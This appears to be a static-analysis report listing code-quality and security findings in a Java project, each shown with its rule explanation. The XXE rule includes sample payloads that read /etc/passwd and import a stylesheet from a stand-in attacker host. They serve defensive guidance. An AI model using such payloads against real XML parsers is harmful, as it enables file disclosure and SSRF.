Showing 716 of 716 total issues
This block of commented-out lines of code should be removed. Open
// logger.print(res);
- Read upRead up
- Exclude checks
Programmers should not comment out code as it bloats programs and reduces readability.
Unused code should be deleted and can be retrieved from source control history if required.
This block of commented-out lines of code should be removed. Open
// for (AbstractBuild<?, ?> currentBuild : builds) {
- Read upRead up
- Exclude checks
Programmers should not comment out code as it bloats programs and reduces readability.
Unused code should be deleted and can be retrieved from source control history if required.
Remove this unused "jobLrResults" private field. Open
private ArrayList<LrJobResults> jobLrResults;
- Read upRead up
- Exclude checks
If a private
field is declared but not used in the program, it can be considered dead code and should therefore be removed. This will
improve maintainability because developers will not wonder what the variable is used for.
Note that this rule does not take reflection into account, which means that issues will be raised on private
fields that are only
accessed using the reflection API.
Noncompliant Code Example
public class MyClass { private int foo = 42; public int compute(int a) { return a * 42; } }
Compliant Solution
public class MyClass { public int compute(int a) { return a * 42; } }
Exceptions
The Java serialization runtime associates with each serializable class a version number, called serialVersionUID
, which is used during
deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to
serialization.
A serializable class can declare its own serialVersionUID
explicitly by declaring a field named serialVersionUID
that
must be static, final, and of type long. By definition those serialVersionUID
fields should not be reported by this rule:
public class MyClass implements java.io.Serializable { private static final long serialVersionUID = 42L; }
Moreover, this rule doesn't raise any issue on annotated fields.
Add a private constructor to hide the implicit public one. Open
public class TimeUtil {
- Read upRead up
- Exclude checks
Utility classes, which are collections of static
members, are not meant to be instantiated. Even abstract utility classes, which can
be extended, should not have public constructors.
Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.
Noncompliant Code Example
class StringUtils { // Noncompliant public static String concatenate(String s1, String s2) { return s1 + s2; } }
Compliant Solution
class StringUtils { // Compliant private StringUtils() { throw new IllegalStateException("Utility class"); } public static String concatenate(String s1, String s2) { return s1 + s2; } }
Exceptions
When class contains public static void main(String[] args)
method it is not considered as utility class and will be ignored by this
rule.
This block of commented-out lines of code should be removed. Open
return new SimpleDateFormat(DATE_TIME_FORMAT); // m_fullTimestampFormatter;
- Read upRead up
- Exclude checks
Programmers should not comment out code as it bloats programs and reduces readability.
Unused code should be deleted and can be retrieved from source control history if required.
Refactor this code to not throw exceptions in finally blocks. Open
throw new ReportParseException(e);
- Read upRead up
- Exclude checks
Throwing an exception from within a finally block will mask any exception which was previously thrown in the try
or catch
block, and the masked's exception message and stack trace will be lost.
Noncompliant Code Example
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ throw new RuntimeException(); // Noncompliant; masks the IllegalArgumentException }
Compliant Solution
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ }
See
- CERT, ERR05-J. - Do not let checked exceptions escape from a finally block
Disable access to external entities in XML parsing. Open
DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
- Read upRead up
- Exclude checks
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.
Example in this XML document, an external entity read the /etc/passwd file:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet>
It is recommended to disable access to external entities and network access in general.
To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:
- ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
- ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
- ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to
false
the external-general-entities feature.
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
- it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
- or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
When setting an entity
resolver to null
(eg: setEntityResolver(null)
) the parser will use its own resolution, which is unsafe.
Noncompliant Code Examples
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = df.newDocumentBuilder(); // Noncompliant Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); // Noncompliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator validator = schema.newValidator(); // Noncompliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
Dom4j library:
SAXReader xmlReader = new SAXReader(); // Noncompliant by default Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Noncompliant by default Document document = builder.build(new File(xml));
Compliant Solution
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // validators will also inherit of these properties Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:
SAXReader xmlReader = new SAXReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant Document document = builder.build(new File(xml));
See
- OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
- OWASP XXE Prevention Cheat Sheet
- MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
- MITRE, CWE-827 - Improper Control of Document Type Definition
Add a default case to this switch. Open
switch (slaGoal) {
- Read upRead up
- Exclude checks
The requirement for a final default
clause is defensive programming. The clause should either take appropriate action, or contain a
suitable comment as to why no action is taken.
Noncompliant Code Example
switch (param) { //missing default clause case 0: doSomething(); break; case 1: doSomethingElse(); break; } switch (param) { default: // default clause should be the last one error(); break; case 0: doSomething(); break; case 1: doSomethingElse(); break; }
Compliant Solution
switch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; }
Exceptions
If the switch
parameter is an Enum
and if all the constants of this enum are used in the case
statements,
then no default
clause is expected.
Example:
public enum Day { SUNDAY, MONDAY } ... switch(day) { case SUNDAY: doSomething(); break; case MONDAY: doSomethingElse(); break; }
See
- MITRE, CWE-478 - Missing Default Case in Switch Statement
- CERT, MSC01-C. - Strive for logical completeness
Change the visibility of this constructor to "protected". Open
public Handler(Client client, String entityId, String runId) {
- Read upRead up
- Exclude checks
Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So
there is no point in making them public. The protected
modifier should be enough.
Noncompliant Code Example
public abstract class AbstractClass1 { public AbstractClass1 () { // Noncompliant, has public modifier // do something here } }
Compliant Solution
public abstract class AbstractClass2 { protected AbstractClass2 () { // do something here } }
End this switch case with an unconditional break, return or throw statement. Open
case 1:
- Read upRead up
- Exclude checks
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.
Noncompliant Code Example
switch (myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? doSomething(); default: doSomethingElse(); break; }
Compliant Solution
switch (myVariable) { case 1: foo(); break; case 2: doSomething(); break; default: doSomethingElse(); break; }
Exceptions
This rule is relaxed in the following cases:
switch (myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: doSomething(); break; case 2: // Use of return statement return; case 3: // Use of throw statement throw new IllegalStateException(); case 4: // Use of continue statement continue; default: // For the last case, use of break statement is optional doSomethingElse(); }
See
- MITRE, CWE-484 - Omitted Break Statement in Switch
- CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
- CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
Refactor this method to reduce its Cognitive Complexity from 26 to the 15 allowed. Open
private static FlowNode lookupJobEnclosingNode(Run targetRun, WorkflowRun parentRun) {
- Read upRead up
- Exclude checks
Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.
See
Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here. Open
} catch (IOException | InterruptedException e) {
- Read upRead up
- Exclude checks
InterruptedExceptions
should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The
throwing of the InterruptedException
clears the interrupted state of the Thread, so if the exception is not handled properly the fact
that the thread was interrupted will be lost. Instead, InterruptedExceptions
should either be rethrown - immediately or after cleaning up
the method's state - or the thread should be re-interrupted by calling Thread.interrupt()
even if this is supposed to be a
single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted -
probably without finishing its task.
Similarly, the ThreadDeath
exception should also be propagated. According to its JavaDoc:
If
ThreadDeath
is caught by a method, it is important that it be rethrown so that the thread actually dies.
Noncompliant Code Example
public void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { // Noncompliant; logging is not enough LOGGER.log(Level.WARN, "Interrupted!", e); } }
Compliant Solution
public void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { LOGGER.log(Level.WARN, "Interrupted!", e); // Restore interrupted state... Thread.currentThread().interrupt(); } }
See
- MITRE, CWE-391 - Unchecked Error Condition
- Dealing with InterruptedException
Add a private constructor to hide the implicit public one. Open
public class ReflectionUtils {
- Read upRead up
- Exclude checks
Utility classes, which are collections of static
members, are not meant to be instantiated. Even abstract utility classes, which can
be extended, should not have public constructors.
Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.
Noncompliant Code Example
class StringUtils { // Noncompliant public static String concatenate(String s1, String s2) { return s1 + s2; } }
Compliant Solution
class StringUtils { // Compliant private StringUtils() { throw new IllegalStateException("Utility class"); } public static String concatenate(String s1, String s2) { return s1 + s2; } }
Exceptions
When class contains public static void main(String[] args)
method it is not considered as utility class and will be ignored by this
rule.
This block of commented-out lines of code should be removed. Open
// java.lang.reflect.Method rootMethod = res.getClass().getMethod("getTrendReport" + dataType.toString() + "DataRowsList");
- Read upRead up
- Exclude checks
Programmers should not comment out code as it bloats programs and reduces readability.
Unused code should be deleted and can be retrieved from source control history if required.
This block of commented-out lines of code should be removed. Open
// logger.println(String.format("%s - Error on getTrendReportByXML: %s ", dateFormatter.getDate(), e));
- Read upRead up
- Exclude checks
Programmers should not comment out code as it bloats programs and reduces readability.
Unused code should be deleted and can be retrieved from source control history if required.
Merge this if statement with the enclosing one. Open
if (attribute.startsWith("$")) {
- Read upRead up
- Exclude checks
Merging collapsible if
statements increases the code's readability.
Noncompliant Code Example
if (file != null) { if (file.isFile() || file.isDirectory()) { /* ... */ } }
Compliant Solution
if (file != null && isFileOrDirectory(file)) { /* ... */ } private static boolean isFileOrDirectory(File file) { return file.isFile() || file.isDirectory(); }
Replace the synchronized class "StringBuffer" by an unsynchronized one such as "StringBuilder". Open
StringBuffer res = new StringBuffer();
- Read upRead up
- Exclude checks
Early classes of the Java API, such as Vector
, Hashtable
and StringBuffer
, were synchronized to make them
thread-safe. Unfortunately, synchronization has a big negative impact on performance, even when using these collections from a single thread.
It is better to use their new unsynchronized replacements:
-
ArrayList
orLinkedList
instead ofVector
-
Deque
instead ofStack
-
HashMap
instead ofHashtable
-
StringBuilder
instead ofStringBuffer
Even when used in synchronized context, you should think twice before using it, since it's usage can be tricky. If you are confident the usage is legitimate, you can safely ignore this warning.
Noncompliant Code Example
Vector cats = new Vector();
Compliant Solution
ArrayList cats = new ArrayList();
Exceptions
Use of those synchronized classes is ignored in the signatures of overriding methods.
@Override public Vector getCats() {...}
Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here. Open
} catch (IOException | InterruptedException e) {
- Read upRead up
- Exclude checks
InterruptedExceptions
should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The
throwing of the InterruptedException
clears the interrupted state of the Thread, so if the exception is not handled properly the fact
that the thread was interrupted will be lost. Instead, InterruptedExceptions
should either be rethrown - immediately or after cleaning up
the method's state - or the thread should be re-interrupted by calling Thread.interrupt()
even if this is supposed to be a
single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted -
probably without finishing its task.
Similarly, the ThreadDeath
exception should also be propagated. According to its JavaDoc:
If
ThreadDeath
is caught by a method, it is important that it be rethrown so that the thread actually dies.
Noncompliant Code Example
public void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { // Noncompliant; logging is not enough LOGGER.log(Level.WARN, "Interrupted!", e); } }
Compliant Solution
public void run () { try { while (true) { // do stuff } }catch (InterruptedException e) { LOGGER.log(Level.WARN, "Interrupted!", e); // Restore interrupted state... Thread.currentThread().interrupt(); } }
See
- MITRE, CWE-391 - Unchecked Error Condition
- Dealing with InterruptedException
Define and throw a dedicated exception instead of using a generic one. Open
private void changeServiceMode(ServiceInfo serviceInfo, PrintStream logger, ICommandExecutor commandExecutor) throws Exception {
- Read upRead up
- Exclude checks
Using such generic exceptions as Error
, RuntimeException
, Throwable
, and Exception
prevents
calling methods from handling true, system-generated exceptions differently than application-generated errors.
Noncompliant Code Example
public void foo(String bar) throws Throwable { // Noncompliant throw new RuntimeException("My Message"); // Noncompliant }
Compliant Solution
public void foo(String bar) { throw new MyOwnRuntimeException("My Message"); }
Exceptions
Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).
@Override public void myMethod() throws Exception {...}
Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.
public void myOtherMethod throws Exception { doTheThing(); // this method throws Exception }
See
- MITRE, CWE-397 - Declaration of Throws for Generic Exception
- CERT, ERR07-J. - Do not throw RuntimeException, Exception, or Throwable
Change the visibility of this constructor to "protected". Open
public LrScenario() {
- Read upRead up
- Exclude checks
Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So
there is no point in making them public. The protected
modifier should be enough.
Noncompliant Code Example
public abstract class AbstractClass1 { public AbstractClass1 () { // Noncompliant, has public modifier // do something here } }
Compliant Solution
public abstract class AbstractClass2 { protected AbstractClass2 () { // do something here } }